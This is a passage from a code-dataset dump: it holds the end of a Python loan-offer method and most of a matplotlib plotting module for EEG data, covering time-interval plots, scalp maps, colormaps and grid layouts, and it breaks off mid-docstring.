acceptLoanOffer(self, id):\n\n        # Force synchronous threading on transaction method to avoid Async operation by applying the thread Lock using context manager\n        # so that we assure only one transaction is in progress at a prticular moment\n        with threading.Lock():\n            print('acceptLoanOffer ... in progress ...')\n            if self.loanAlreadyTaken:\n                return print('Loan Offer already accepted and money already transfered! \\n')\n\n            acceptedOffer = [offer if offer.id ==\n                             id else None for offer in self.offers][0]\n\n            if acceptedOffer:\n                self.loanAlreadyTaken = True\n                self.acceptedOffer = acceptedOffer\n                self.investor = acceptedOffer.investor\n                self.interest = acceptedOffer.interest\n                self.investor.acceptedOffers.append(acceptedOffer)\n                self.__doTransaction()\n                self.status = 'Funded'\n\n            else:\n                print('Invalid offerID! \\n')\n\n            return print(\"Transaction has been done successfully !\\n\")\n","sub_path":"loan.py","file_name":"loan.py","file_ext":"py","file_size_in_byte":4294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"360615611","text":"#!/usr/bin/env python\n\"\"\"Plotting methods.\n\nThis module contains various plotting methods.\n\n\"\"\"\n\nfrom __future__ import division\n\nimport numpy as np\nfrom scipy import interpolate\n\nfrom matplotlib import axes\nfrom matplotlib import colorbar\nfrom matplotlib import colors\nfrom matplotlib import pyplot as plt\nfrom matplotlib.path import Path\nfrom matplotlib import patches as patches\nfrom matplotlib.patches import Rectangle\n\nimport processing as pro\nimport tentensystem as tts\nfrom types import Data\n\n# ############# OLD FUNCTIONS ############################################\n\n\ndef plot_channels(dat, chanaxis=-1, otheraxis=-2):\n    \"\"\"Plot all channels for a continuous.\n\n    Parameters\n    ----------\n    dat : Data\n\n    \"\"\"\n    ax = []\n    n_channels = dat.data.shape[chanaxis]\n    for i, chan in enumerate(dat.axes[chanaxis]):\n        if i == 0:\n            a = plt.subplot(10, n_channels / 10 + 1, i + 1)\n        else:\n            a = plt.subplot(10, n_channels / 10 + 1, i + 1, sharex=ax[0], sharey=ax[0])\n        ax.append(a)\n        #x, y = dat.axes[otheraxis], dat.data.take([i], chanaxis)\n        dat.axes[otheraxis], dat.data.take([i], chanaxis)\n        a.plot(dat.axes[otheraxis], dat.data.take([i], chanaxis).squeeze())\n        a.set_title(chan)\n        plt.axvline(x=0)\n        plt.axhline(y=0)\n\n\ndef plot_spatio_temporal_r2_values(dat):\n    \"\"\"Calculate the signed r^2 values and plot them in a heatmap.\n\n    Parameters\n    ----------\n    dat : Data\n        epoched data\n\n    \"\"\"\n    r2 = proc.calculate_signed_r_square(dat)\n    max = np.max(np.abs(r2))\n    plt.imshow(r2.T, aspect='auto', interpolation='None', vmin=-max, vmax=max, cmap='RdBu')\n    ax = plt.gca()\n    # TODO: sort front-back, left-right\n    # use the locators to fine-tune the ticks\n    #ax.yaxis.set_major_locator(ticker.MaxNLocator())\n    #ax.xaxis.set_major_locator(ticker.MaxNLocator())\n    ax.yaxis.set_major_formatter(ticker.IndexFormatter(dat.axes[-1]))\n    ax.xaxis.set_major_formatter(ticker.IndexFormatter(['%.1f' % i for i in dat.axes[-2]]))\n    plt.xlabel('%s [%s]' % (dat.names[-2], dat.units[-2]))\n    plt.ylabel('%s [%s]' % (dat.names[-1], dat.units[-1]))\n    plt.tight_layout(True)\n    plt.colorbar()\n    plt.grid(True)\n\n\ndef plot_spectrum(spectrum, freqs):\n    plt.plot(freqs, spectrum, '.')\n    plt.xlabel('Frequency [Hz]')\n    plt.ylabel('[dl]')\n\n\ndef plot_spectrogram(spectrogram, freqs):\n    extent = 0, len(spectrogram), freqs[0], freqs[-1]\n    plt.imshow(spectrogram.transpose(),\n               aspect='auto',\n               origin='lower',\n               extent=extent,\n               interpolation='none')\n    plt.colorbar()\n    plt.ylabel('Frequency [Hz]')\n    plt.xlabel('Time')\n\n\ndef calculate_stereographic_projection(p):\n    \"\"\"Calculate the stereographic projection.\n\n    Given a unit sphere with radius ``r = 1`` and center at the origin.\n    Project the point ``p = (x, y, z)`` from the sphere's South pole (0,\n    0, -1) on a plane on the sphere's North pole (0, 0, 1).\n\n    The formula is:\n\n        P' = P * (2r / (r + z))\n\n    Parameters\n    ----------\n    p : [float, float]\n        The point to be projected in cartesian coordinates.\n\n    Returns\n    -------\n    x, y : float, float\n        The projected point on the plane.\n\n    \"\"\"\n    # P' = P * (2r / r + z)\n    # changed the values to move the point of projection further below the\n    # south pole\n    mu = 1 / (1.3 + p[2])\n    x = p[0] * mu\n    y = p[1] * mu\n    return x, y\n\n\ndef interpolate_2d(x, y, z):\n    \"\"\"Interpolate missing points on a plane.\n\n    Parameters\n    ----------\n    x, y, z : equally long lists of floats\n        1d arrays defining points like ``p[x, y] = z``\n\n    Returns\n    -------\n    xx, yy, zz : 1d array, 1d array, 2d array\n        ``zz`` is a 2d array ``[min(x)..max(x), [min(y)..max(y)]`` with\n        the interpolated values as values.\n\n    \"\"\"\n    xx = np.linspace(min(x), max(x))\n    yy = np.linspace(min(y), max(y))\n    xx, yy = np.meshgrid(xx, yy)\n    f = interpolate.LinearNDInterpolator(zip(x, y), z)\n    zz = f(xx, yy)\n    return xx, yy, zz\n\n# ############# COMPOSITE PLOTS ##########################################\n\n\ndef plot_timeinterval(data, r_square=None, highlights=None, hcolors=None,\n                      legend=True, reg_chans=None, position=None):\n    \"\"\"Plots a simple time interval.\n\n    Plots all channels of either continuous data or the mean of epoched data\n    into a single timeinterval plot.\n\n    Parameters\n    ----------\n    data : wyrm.types.Data\n        Data object containing the data to plot.\n    r_square : [values], optional\n        List containing r_squared values to be plotted beneath the main plot\n        (default: None).\n    highlights : [[int, int)]\n        List of tuples containing the start point (included) and end point\n        (excluded) of each area to be highlighted (default: None).\n    hcolors : [colors], optional\n        A list of colors to use for the highlights areas (default: None).\n    legend : Boolean, optional\n        Flag to switch plotting of the legend on or off (default: True).\n    reg_chans : [regular expression], optional\n        A list of regular expressions. The plot will be limited to those\n        channels matching the regular expressions. (default: None).\n    position : [x, y, width, height], optional\n        A Rectangle that limits the plot to its boundaries (default: None).\n\n    Returns\n    -------\n    Matplotlib.Axes or (Matplotlib.Axes, Matplotlib.Axes)\n        The Matplotlib.Axes corresponding to the plotted timeinterval and, if\n        provided, the Axes corresponding to r_squared values.\n\n    Examples\n    --------\n    Plots all channels contained in data with a legend.\n\n    >>> plot_timeinterval(data)\n\n    Same as above, but without the legend.\n\n    >>> plot_timeinterval(data, legend=False)\n\n    Adds r-square values to the plot.\n\n    >>> plot_timeinterval(data, r_square=[values])\n\n    Adds a highlighted area to the plot.\n\n    >>> plot_timeinterval(data, highlights=[[200, 400]])\n\n    To specify the colors of the highlighted areas use 'hcolors'.\n\n    >>> plot_timeinterval(data, highlights=[[200, 400]], hcolors=['red'])\n    \"\"\"\n\n    dcopy = data.copy()\n    rect_ti_solo = [.07, .07, .9, .9]\n    rect_ti_r2 = [.07, .12, .9, .85]\n    rect_r2 = [.07, .07, .9, .05]\n\n    if position is None:\n        plt.figure()\n        if r_square is None:\n            pos_ti = rect_ti_solo\n        else:\n            pos_ti = rect_ti_r2\n            pos_r2 = rect_r2\n    else:\n        if r_square is None:\n            pos_ti = _transform_rect(position, rect_ti_solo)\n        else:\n            pos_ti = _transform_rect(position, rect_ti_r2)\n            pos_r2 = _transform_rect(position, rect_r2)\n\n    if reg_chans is not None:\n        dcopy = pro.select_channels(dcopy, reg_chans)\n\n    # process epoched data into continuous data using the mean\n    if len(data.data.shape) > 2:\n        dcopy = Data(np.mean(dcopy.data, axis=0), [dcopy.axes[-2], dcopy.axes[-1]],\n                     [dcopy.names[-2], dcopy.names[-1]], [dcopy.units[-2], dcopy.units[-1]])\n\n    ax1 = None\n    # plotting of the data\n    ax0 = _subplot_timeinterval(dcopy, position=pos_ti, epoch=-1, highlights=highlights,\n                                hcolors=hcolors, legend=legend)\n    ax0.xaxis.labelpad = 0\n    if r_square is not None:\n        ax1 = _subplot_r_square(r_square, position=pos_r2)\n        ax0.tick_params(axis='x', direction='in', pad=30 * pos_ti[3])\n\n    plt.grid(True)\n\n    if r_square is None:\n        return ax0\n    else:\n        return ax0, ax1\n\n\ndef plot_tenten(data, highlights=None, hcolors=None, legend=False, scale=True,\n                reg_chans=None):\n    \"\"\"Plots channels on a grid system.\n\n    Iterates over every channel in the data structure. If the channelname\n    matches a channel in the tenten-system it will be plotted in a grid of\n    rectangles. The grid is structured like the tenten-system itself, but in\n    a simplified manner. The rows, in which channels appear, are predetermined,\n    the channels are ordered automatically within their respective row.\n    Areas to highlight can be specified, those areas will be marked with colors\n    in every timeinterval plot.\n\n    Parameters\n    ----------\n    data : wyrm.types.Data\n        Data object containing the data to plot.\n    highlights : [[int, int)]\n        List of tuples containing the start point (included) and end point\n        (excluded) of each area to be highlighted (default: None).\n    hcolors : [colors], optional\n        A list of colors to use for the highlight areas (default: None).\n    legend : Boolean, optional\n        Flag to switch plotting of the legend on or off (default: True).\n    scale : Boolean, optional\n        Flag to switch plotting of a scale in the top right corner of the grid\n        (default: True)\n    reg_chans : [regular expressions]\n        A list of regular expressions. The plot will be limited to those\n        channels matching the regular expressions.\n\n    Returns\n    -------\n    [Matplotlib.Axes], Matplotlib.Axes\n        Returns the plotted timeinterval axes as a list of Matplotlib.Axes and\n        the plotted scale as a single Matplotlib.Axes.\n\n    Examples\n    --------\n    Plotting of all channels within a Data object\n    >>> plot_tenten(data)\n\n    Plotting of all channels with a highlighted area\n    >>> plot_tenten(data, highlights=[[200, 400]])\n\n    Plotting of all channels beginning with 'A'\n    >>> plot_tenten(data, reg_chans=['A.*'])\n    \"\"\"\n    dcopy = data.copy()\n    # this dictionary determines which y-position corresponds with which row in the grid\n    ordering = {4.0: 0,\n                3.5: 0,\n                3.0: 1,\n                2.5: 2,\n                2.0: 3,\n                1.5: 4,\n                1.0: 5,\n                0.5: 6,\n                0.0: 7,\n                -0.5: 8,\n                -1.0: 9,\n                -1.5: 10,\n                -2.0: 11,\n                -2.5: 12,\n                -2.6: 12,\n                -3.0: 13,\n                -3.5: 14,\n                -4.0: 15,\n                -4.5: 15,\n                -5.0: 16}\n\n    # all the channels with their x- and y-position\n    system = _get_system()\n\n    # create list with 17 empty lists. one for every potential row of channels.\n    channel_lists = []\n    for i in range(18):\n        channel_lists.append([])\n\n    if reg_chans is not None:\n        dcopy = pro.select_channels(dcopy, reg_chans)\n\n    # distribute the channels to the lists by their y-position\n    count = 0\n    for c in dcopy.axes[1]:\n        if c in tts.channels:\n            # entries in channel_lists: [<channel_name>, <x-position>, <position in Data>]\n            channel_lists[ordering[system[c][1]]].append((c, system[c][0], count))\n        count += 1\n\n    # sort the lists of channels by their x-position\n    for l in channel_lists:\n        l.sort(key=lambda c_list: c_list[1])\n\n    # calculate the needed dimensions of the grid\n    columns = map(len, channel_lists)\n    columns = [value for value in columns if value != 0]\n\n    # add another axes to the first row for the scale\n    columns[0] += 1\n\n    plt.figure()\n    grid = calc_centered_grid(columns, hpad=.01, vpad=.01)\n\n    # axis used for sharing axes between channels\n    masterax = None\n    ax = []\n\n    row = 0\n    k = 0\n    scale_ax = 0\n\n    for l in channel_lists:\n        if len(l) > 0:\n            for i in range(len(l)):\n                ax.append(_subplot_timeinterval(dcopy, grid[k], epoch=-1, highlights=highlights, hcolors=hcolors, labels=False,\n                                                legend=legend, channel=l[i][2], shareaxis=masterax))\n                if masterax is None and len(ax) > 0:\n                    masterax = ax[0]\n\n                # hide the axeslabeling\n                plt.tick_params(axis='both', which='both', labelbottom='off', labeltop='off', labelleft='off',\n                                labelright='off', top='off', right='off')\n\n                # at this moment just to show what's what\n                plt.gca().annotate(l[i][0], (0.05, 0.05), xycoords='axes fraction')\n\n                k += 1\n\n                if row == 0 and i == len(l)-1:\n                    # this is the last axes in the first row\n                    scale_ax = k\n                    k += 1\n\n            row += 1\n\n    # plot the scale axes\n    xtext = dcopy.axes[0][len(dcopy.axes[0])-1]\n    sc = _subplot_scale(str(xtext) + ' ms', \"$\\mu$V\", position=grid[scale_ax])\n\n    return ax, sc\n\n\ndef plot_scalp(v, channels, levels=25, colormap=None, norm=None, ticks=None,\n               annotate=True, position=None):\n    \"\"\"Plots the values 'v' for channels 'channels' on a scalp.\n\n    Calculates the interpolation of the values v for the corresponding\n    channels 'channels' and plots it as a contour plot on a scalp.\n    The degree of gradients as well as the the appearance of the color\n    bar can be adjusted.\n\n    Parameters\n    ----------\n    v : [value]\n        List containing the values of the channels.\n    channels : [String]\n        List containing the channel names.\n    levels : int, optional\n        The number of automatically created levels in the contour plot\n         (default: 25).\n    colormap : matplotlib.colors.colormap, optional\n        A colormap to define the color transitions (default: a blue-white-red\n         colormap).\n    norm : matplotlib.colors.norm, optional\n        A norm to define the min and max values\n         (default: 'None', values from -10 to 10 are assumed).\n    ticks : array([ints]), optional\n        An array with values to define the ticks on the colorbar\n         (default: 'None', 3 ticks at -10, 0 and 10 are displayed).\n    annotate : Boolean, optional\n        Flag to switch channel annotations on or off (default: True).\n    position : [x, y, width, height], optional\n        A Rectangle that limits the plot to its boundaries (default: None).\n\n    Returns\n    -------\n    (Matplotlib.Axes, Matplotlib.Axes)\n        Returns a pair of Matplotlib.Axes. The first contains the plotted scalp,\n        the second the corresponding colorbar.\n\n    Examples\n    --------\n    Plots the values v for channels 'channels' on a scalp\n    >>> plot_scalp(v, channels)\n\n    This plot has finer gradients through increasing the levels to 50.\n    >>> plot_scalp(v, channels, levels=50)\n\n    This plot has a white-red colormap and a norm and ticks from 0 to 10\n    >>> cm = create_colormap('wr')\n    >>> n = matplotlib.colors.Normalize(vmin=0, vmax=10, clip=False)\n    >>> t = np.linspace(0.0, 10.0, 3, endpoint=True)\n    >>> plot_scalp(v, channels, colormap=_wr_cmap(), norm=n, ticks=t)\n    \"\"\"\n    rect_scalp = [.05, .05, .8, .9]\n    rect_colorbar = [.9, .05, .05, .9]\n\n    plt.figure(figsize=[8, 6.5])\n\n    if position is None:\n        pos_scalp = rect_scalp\n        pos_colorbar = rect_colorbar\n    else:\n        pos_scalp = _transform_rect(position, rect_scalp)\n        pos_colorbar = _transform_rect(position, rect_colorbar)\n\n    if colormap is None:\n        colormap = _bwr_cmap()\n    if norm is None:\n        norm = colors.Normalize(vmin=-10, vmax=10, clip=False)\n    if ticks is None:\n        ticks = np.linspace(-10.0, 10.0, 3, endpoint=True)\n\n    ax0 = _subplot_scalp(v, channels, position=pos_scalp, levels=levels, colormap=colormap, annotate=annotate,\n                         norm=norm)\n    ax1 = _subplot_colorbar(position=pos_colorbar, colormap=colormap, ticks=ticks, norm=norm)\n\n    return ax0, ax1\n\n\ndef plot_scalp_ti(v, channels, data, interval, scale_ti=.1, levels=25, colormap=None,\n                  norm=None, ticks=None, annotate=True, position=None):\n    \"\"\"Plots a scalp with channels on top\n\n    Plots the values v for channels 'channels' on a scalp as a contour plot.\n    Additionaly plots the channels in channels_ti as a timeinterval on top of\n    the scalp plot. The individual channels are placed over their position on\n    the scalp.\n\n    Parameters\n    ----------\n    v : [value]\n        List containing the values of the channels.\n    channels : [String]\n        List containing the channel names.\n    data : wyrm.types.Data\n        Data object containing the continuous data for the overlaying\n        timeinterval plots.\n    interval : [begin, end)\n        Tuple of ints to specify the range of the overlaying timeinterval plots.\n    scale_ti : float, optional\n        The percentage to scale the overlaying timeinterval plots\n        (default: 0.1).\n    levels : int, optional\n        The number of automatically created levels in the contour plot\n        (default: 25).\n    colormap : matplotlib.colors.colormap, optional\n        A colormap to define the color transitions\n        (default: a blue-white-red colormap).\n    norm : matplotlib.colors.norm, optional\n        A norm to define the min and max values. If 'None', values from\n        -10 to 10 are assumed (default: None).\n    ticks : array([ints]), optional\n        An array with values to define the ticks on the colorbar\n        (default: None, 3  ticks at -10, 0 and 10 are displayed).\n    annotate : Boolean, optional\n        Flag to switch channel annotations on or off (default: True).\n    position : [x, y, width, height], optional\n        A Rectangle that limits the plot to its boundaries (default: None).\n\n    Returns\n    -------\n    ((Matplotlib.Axes, Matplotlib.Axes), [Matplotlib.Axes])\n        Returns a tuple of first a tuple with the plotted scalp and its\n        colorbar, then a list of all on top plotted timeintervals.\n    \"\"\"\n    rect_scalp = [.05, .05, .8, .9]\n    rect_colorbar = [.9, .05, .05, .9]\n\n    plt.figure(figsize=[16, 13])\n\n    if position is None:\n        pos_scalp = rect_scalp\n        pos_colorbar = rect_colorbar\n    else:\n        pos_scalp = _transform_rect(position, rect_scalp)\n        pos_colorbar = _transform_rect(position, rect_colorbar)\n\n    if colormap is None:\n        colormap = _bwr_cmap()\n    if norm is None:\n        norm = colors.Normalize(vmin=-10, vmax=10, clip=False)\n    if ticks is None:\n        ticks = np.linspace(-10.0, 10.0, 3, endpoint=True)\n\n    ax0 = _subplot_scalp(v, channels, position=pos_scalp, levels=levels, annotate=annotate)\n    ax1 = _subplot_colorbar(position=pos_colorbar, colormap=colormap, ticks=ticks, norm=norm)\n\n    # adding the timeinterval plots\n    s = _get_system()\n\n    # modification of internally used data if a specific intervals is specified\n    cdat = data.copy()\n    if interval is not None:\n        startindex = np.where(cdat.axes[0] == interval[0])[0][0]\n        endindex = np.where(cdat.axes[0] == interval[1])[0][0]\n        cdat.axes[0] = cdat.axes[0][startindex:endindex]\n        cdat.data = cdat.data[startindex:endindex, :]\n\n    tis = []\n    for c in cdat.axes[1]:\n        if c in s:\n\n            channelindex = np.where(cdat.axes[1] == c)[0][0]\n\n            # generating the channel position on the scalp\n            channelpos = tts.channels[c]\n            points = calculate_stereographic_projection(channelpos)\n\n            # dirty: these are the x and y limits of the scalp axes\n            minx = -1.15\n            maxx = 1.15\n            miny = -1.10\n            maxy = 1.15\n\n            # transformation of karth. to relative coordinates\n            xy = (points[0] + (np.abs(minx))) * (1 / (np.abs(minx) + maxx)), \\\n                 (points[1] + (np.abs(miny))) * (1 / (np.abs(miny) + maxy))\n\n            pos_c = [xy[0] - (scale_ti / 2), xy[1] - (scale_ti / 2), scale_ti, scale_ti]\n\n            # transformation to fit into the scalp part of the plot\n            pos_c = _transform_rect(pos_scalp, pos_c)\n\n            tis.append(_subplot_timeinterval(cdat, position=pos_c, epoch=-1, highlights=None, legend=False,\n                                             channel=channelindex, shareaxis=None))\n\n        else:\n            print('The channel \"' + c + '\" was not found in the tenten-system.')\n\n    return (ax0, ax1), tis\n\n# ############# TOOLS ####################################################\n\n\ndef create_colormap(scheme='bwr'):\n    \"\"\"\n    Creates a linear segmented colormap.\n\n    It can be chosen between two different color schemes:\n     * blue-white-red ('bwr')\n     * white-red ('wr')\n\n     Parameters:\n     -----------\n     scheme : String, optional\n        String to specify the colorscheme of the colorbar. Possible inputs:\n        'bwr', 'wr' (default = 'bwr').\n    \"\"\"\n    assert str(scheme).lower() == 'bwr' or str(scheme).lower() == 'wr', \\\n        \"Wrong input: (0/1) or ('bwr'/'wr')\"\n\n    if str(scheme).lower() == 'bwr':\n        return _bwr_cmap()\n    else:\n        return _wr_cmap()\n\n\ndef set_highlights(highlights, hcolors=None, set_axes=None):\n    \"\"\"Sets highlights in form of vertical boxes to axes.\n\n    Parameters\n    ----------\n    highlights : [(start, end)]\n        List of tuples containing the start point (included) and end point\n        (excluded) of each area to be highlighted.\n    hcolors : [colors], optional\n        A list of colors to use for the highlight areas (e.g. 'b', '#eeefff' or\n        [R, G, B] for R, G, B = [0..1].\n        If left as None the colors blue, gree, red, cyan, magenta and yellow are\n        used.\n    set_axes : [matplotlib.axes.Axes], optional\n        List of axes to highlights (default: None, all axes of the current\n        figure will be highlighted).\n\n    Examples:\n    ---------\n    To create two highlighted areas in all axes of the currently active\n    figure. The first area from 200ms - 300ms in blue and the second area from\n    500ms - 600ms in green.\n    >>> set_highlights([[200, 300], [500, 600]])\n    \"\"\"\n    if highlights is not None:\n\n        if set_axes is None:\n            set_axes = plt.gcf().axes\n\n        def highlight(start, end, axis, color, alpha):\n            axis.axvspan(start, end, edgecolor='w', facecolor=color, alpha=alpha)\n            # the edges of the box are at the moment white. transparent edges\n            # would be better.\n\n        # create a standard variety of colors, if nothing is specified\n        if hcolors is None:\n            hcolors = ['b', 'g', 'r', 'c', 'm', 'y']\n\n        # create a colormask containing #spans colors iterating over specified\n        # colors or a standard variety\n        colormask = []\n        for index, span in enumerate(highlights):\n            colormask.append(hcolors[index % len(hcolors)])\n\n        # check if highlights is an instance of the Highlight class\n        for p in set_axes:\n            for span in highlights:\n                highlight(span[0], span[1]-1, p, colormask.pop(0), .5)\n\n\ndef set_labels(xlabel, ylabel, set_axes=None, draw=True):\n    \"\"\"Sets the labels of x- and y-axis of axes.\n\n    Parameters\n    ----------\n    xlabel : String\n        The String to label the x-axis.\n    ylabel : String\n        The String to label the y-axis.\n    set_axes : [Matplotlib.axes.Axes], optional\n        List of axes to apply the labels to (default: None, the labels are\n        applied to all axes of the current figure).\n    draw : Boolean, optional\n        A flag to switch if the new labels should be directly drawn to the\n        plot (default: True).\n\n    Examples:\n    ---------\n    To set the x- and y-labels of all axes in the current figure\n     >>> set_labels('xtext', 'ytext')\n\n     To set the x- and y-labels of a specific axes in the current figure\n     >>> set_labels('xtext', 'ytext', set_axes=matplotlib.axes.Axes)\n    \"\"\"\n    if set_axes is None:\n        set_axes = plt.gcf().axes\n\n    # labeling of axes\n    for ax in set_axes:\n        ax.set_xlabel(xlabel)\n        ax.set_ylabel(ylabel, rotation=0)\n\n    if draw:\n        plt.draw()\n\n\ndef calc_grid(rows, cols, hpad=.05, vpad=.05):\n    \"\"\"\n    Calculates a grid of Rectangles and their positions.\n\n    Parameters\n    ----------\n    rows : int\n        The number of desired columns.\n    cols : int\n        The number of desired cols.\n    hpad : float, optional\n        The amount of horizontal padding (default: 0.05).\n    vpad : float, optional\n        The amount of vertical padding (default: 0.05).\n\n    Returns\n    -------\n    [[float, float, float, float]]\n        A list of all rectangle positions in the form of [xi, xy, width, height]\n        sorted from top left to bottom right.\n\n    Examples\n    --------\n    Calculates a 4x3 grid\n    >>> calc_grid(4, 3)\n\n    Calculates a 4x3 grid with more padding\n    >>> calc_grid(4, 3, hpad=.1, vpad=.1)\n    \"\"\"\n    w = (1 - ((cols + 1) * vpad)) / cols\n    h = (1 - ((rows + 1) * hpad)) / rows\n\n    grid = []\n    for i in range(cols):\n        for j in range(rows):\n            xi = ((i % cols + 1) * hpad) + (i % cols * w)\n            yj = 1 - (((j % rows + 1) * vpad) + ((j % rows + 1) * h))\n            grid.append([xi, yj, w, h])\n\n    return grid\n\n\ndef calc_centered_grid(cols_list, hpad=.05, vpad=.05):\n    \"\"\"\n    Calculates a centered grid of Rectangles and their positions.\n\n    Parameters\n    ----------\n    cols_list : [int]\n        List of ints. Every entry represents a row with as many channels as the\n        value.\n    hpad : float, optional\n        The amount of horizontal padding (default: 0.05).\n    vpad : float, optional\n        The amount of vertical padding (default: 0.05).\n\n    Returns\n    -------\n    [[float, float, float, float]]\n        A list of all rectangle positions in the form of [xi, xy, width, height]\n        sorted from top left to bottom right.\n\n    Examples:\n    ---------\n    Calculates a centered grid with 3 rows of 4, 3 and 2 columns\n    >>> calc_centered_grid([4, 3, 2])\n\n    Calculates a centered grid with more padding\n    >>> calc_centered_grid([5, 4], hpad=.1, vpad=.75)\n    \"\"\"\n    h = (1 - ((len(cols_list) + 1) * vpad)) / len(cols_list)\n    w = (1 - ((max(cols_list) + 1) * hpad)) / max(cols_list)\n    grid = []\n    row = 1\n    for l in cols_list:\n        yi = 1 - ((row * vpad) + (row * h))\n        for i in range(l):\n            # calculate margin on both sides\n            m = .5 - (((l * w) + ((l - 1) * hpad)) / 2)\n            xi = m + (i * hpad) + (i * w)\n            grid.append([xi, yi, w, h])\n        row += 1\n    return grid\n\n\ndef _bwr_cmap():\n    \"\"\"Create a linear segmented colormap with transitions from blue over white\n    to red.\n\n    Returns\n    -------\n    x : colormap\n        The matplotlib colormap.\n    \"\"\"\n    cdict = {'red': [(0.0, 0.0, 0.0),\n                     (0.25, 0.0, 0.0),\n                     (0.5, 1.0, 1.0),\n                     (0.75, 1.0, 1.0),\n                     (1.0, 0.5, 0.5)],\n\n             'green': [(0.0, 0.0, 0.0),\n                       (0.15, 0.0, 0.0),\n                       (0.25, 1.0, 1.0),\n                       (0.5, 1.0, 1.0),\n                       (0.75, 1.0, 1.0),\n                       (0.85, 0.0, 0.0),\n                       (1.0, 0.0, 0.0)],\n\n             'blue': [(0.0, 0.5, 0.5),\n                      (0.25, 1.0, 1.0),\n                      (0.5, 1.0, 1.0),\n                      (0.75, 0.0, 0.0),\n                      (1.0, 0.0, 0.0)]}\n\n    return colors.LinearSegmentedColormap('bwr_colormap', cdict, 256)\n\n\ndef _wr_cmap():\n    \"\"\"Create a linear segmented colormap with transitions from white to red.\n\n    Returns\n    -------\n    x : colormap\n        The matplotlib colormap.\n    \"\"\"\n    cdict = {'red': [(0.0, 1.0, 1.0),\n                     (0.75, 1.0, 1.0),\n                     (1.0, .3, .3)],\n\n             'green': [(0.0, 1.0, 1.0),\n                       (0.75, 0.0, 0.0),\n                       (1.0, 0.0, 0.0)],\n\n             'blue': [(0.0, 1.0, 1.0),\n                      (0.75, 0.0, 0.0),\n                      (1.0, 0.0, 0.0)]}\n\n    return colors.LinearSegmentedColormap('bwr_colormap', cdict, 256)\n\n# ############# PRIMITIVE PLOTS ##########################################\n\n\ndef _subplot_colorbar(position, colormap=_bwr_cmap(), ticks=None, norm=None):\n    \"\"\"\n    Creates a new axes with a colorbar.\n\n    Creates a matplotlib.axes.Axes within the rectangle specified by 'position'\n    and fills it with a colorbar.\n\n    Parameters:\n    -----------\n    position : Rectangle\n        The rectangle (x, y, width, height) where the axes will be created.\n    colormap : matplotlib.colors.colormap, optional\n        A colormap to define the colorscheme of the colormap.\n    ticks : Array([float])\n        An array with floats to set the number and location of the ticks.\n    norm : matplotlib.colors.Normalize\n        A norm to set the min-/max-value of the colorbar.\n\n    Returns:\n    --------\n    matplotlib.axes.Axes\n    \"\"\"\n    fig = plt.gcf()\n    ax = fig.add_axes(position)\n    colorbar.ColorbarBase(ax, cmap=colormap, orientation='vertical', ticks=ticks, norm=norm)\n    return ax\n\n\ndef _subplot_scalp(v, channels, position, levels=25, colormap=None, annotate=True, norm=None):\n    \"\"\"\n    Creates a new axes with a scalp plot.\n\n    Creates a matplotlib.axes.Axes within the rectangle specified by 'position'\n    and fills it with a contour plot for the channels in 'channels' and the data\n    in 'v'.\n\n    Parameters:\n    -----------\n    v : [value]\n        List containing the values of the channels.\n    channels : [String]\n        List containing the channel names.\n    position : Rectangle\n        The rectangle (x, y, width, height) where the axes will be created.\n    levels : int, optional\n        The number of automatically created levels in the contour plot\n         (default: 25).\n    colormap : matplotlib.colors.colormap, optional\n        A colormap to define the color transitions (default: a blue-white-red\n         colormap).\n    annotate : Boolean, optional\n        Flag to switch channel annotations on or off (default: True).\n    norm : matplotlib.colors.norm, optional\n        A norm to define the min and max values\n         (default: 'None', values from -10 to 10 are assumed).\n\n    Returns:\n    --------\n    matplotlib.axes.Axes\n    \"\"\"\n    fig = plt.gcf()\n    ax = fig.add_axes(position)\n    channelpos = [tts.channels[c] for c in channels]\n    points = [calculate_stereographic_projection(i) for i in channelpos]\n    x = [i[0] for i in points]\n    y = [i[1] for i in points]\n    z = v\n    xx, yy, zz = interpolate_2d(x, y, z)\n\n    if colormap is None:\n        colormap = _bwr_cmap()\n\n    ax.contourf(xx, yy, zz, levels, zorder=1, cmap=colormap, norm=norm)\n    ax.contour(xx, yy, zz, levels, zorder=1, colors=\"k\", norm=norm, linewidths=.1)\n\n    ax.add_artist(plt.Circle((0, 0), radius=1, linewidth=3, fill=False))\n\n    # add a nose\n    ax.plot([-0.1, 0], [0.99, 1.1], 'k-', lw=2)\n    ax.plot([0.1, 0], [0.99, 1.1], 'k-', lw=2)\n\n    # add ears\n    vertsr = [\n        (0.99, 0.13),  # P0\n        (1.10, 0.3),  # P1\n        (1.10, -0.3),  # P2\n        (0.99, -0.13)]  # P3\n\n    vertsl = [\n        (-0.99, 0.13),  # P0\n        (-1.10, 0.3),  # P1\n        (-1.10, -0.3),  # P2\n        (-0.99, -0.13)]  # P3\n\n    # in combination with Path this creates a bezier-curve with 2 fix-points and 2 control-points\n    codes = [Path.MOVETO,\n             Path.CURVE4,\n             Path.CURVE4,\n             Path.CURVE4]\n\n    pathr = Path(vertsr, codes)\n    pathl = Path(vertsl, codes)\n    patchr = patches.PathPatch(pathr, facecolor='none', lw=2)\n    patchl = patches.PathPatch(pathl, facecolor='none', lw=2)\n    ax.add_patch(patchr)\n    ax.add_patch(patchl)\n\n    # add markers at channels positions\n    ax.plot(x, y, 'k+', ms=8, mew=1.2)\n\n    # set the axes limits, so the figure is centered on the scalp\n    ax.set_ylim([-1.05, 1.15])\n    ax.set_xlim([-1.15, 1.15])\n\n    # hide the axes\n    ax.get_xaxis().set_visible(False)\n    ax.get_yaxis().set_visible(False)\n\n    if annotate:\n        for i in zip(channels, zip(x, y)):\n            ax.annotate(\" \" + i[0], i[1])\n\n    return ax\n\n\ndef _subplot_timeinterval(data, position, epoch, highlights=None, hcolors=None,\n                          labels=True, legend=True, channel=None, shareaxis=None):\n    \"\"\"\n    Creates a new axes with a timeinterval plot.\n\n    Creates a matplotlib.axes.Axes within the rectangle specified by 'position'\n    and fills it with a timeinterval plot defined by the channels and values\n    contained in 'data'.\n\n    Parameters:\n    -----------\n    data : wyrm.types.Data\n        Data object containing the data to plot.\n    position : Rectangle\n        The rectangle (x, y, width, height) where the axes will be created.\n    epoch : int\n        The epoch to be plotted. If there are no epochs this has to be '-1'.\n    highlights : [[int, int)]\n        List of tuples containing the start point (included) and end point\n        (excluded) of each area to be highlighted (default: None).\n    hcolors : [colors], optional\n        A list of colors to use for the highlights areas (default: None).\n    labels : Boolean, optional\n        Flag to switch plotting of the usual labels on or off (default: True)\n    legend : Boolean, optional\n        Flag to switch plotting of the legend on or off (default: 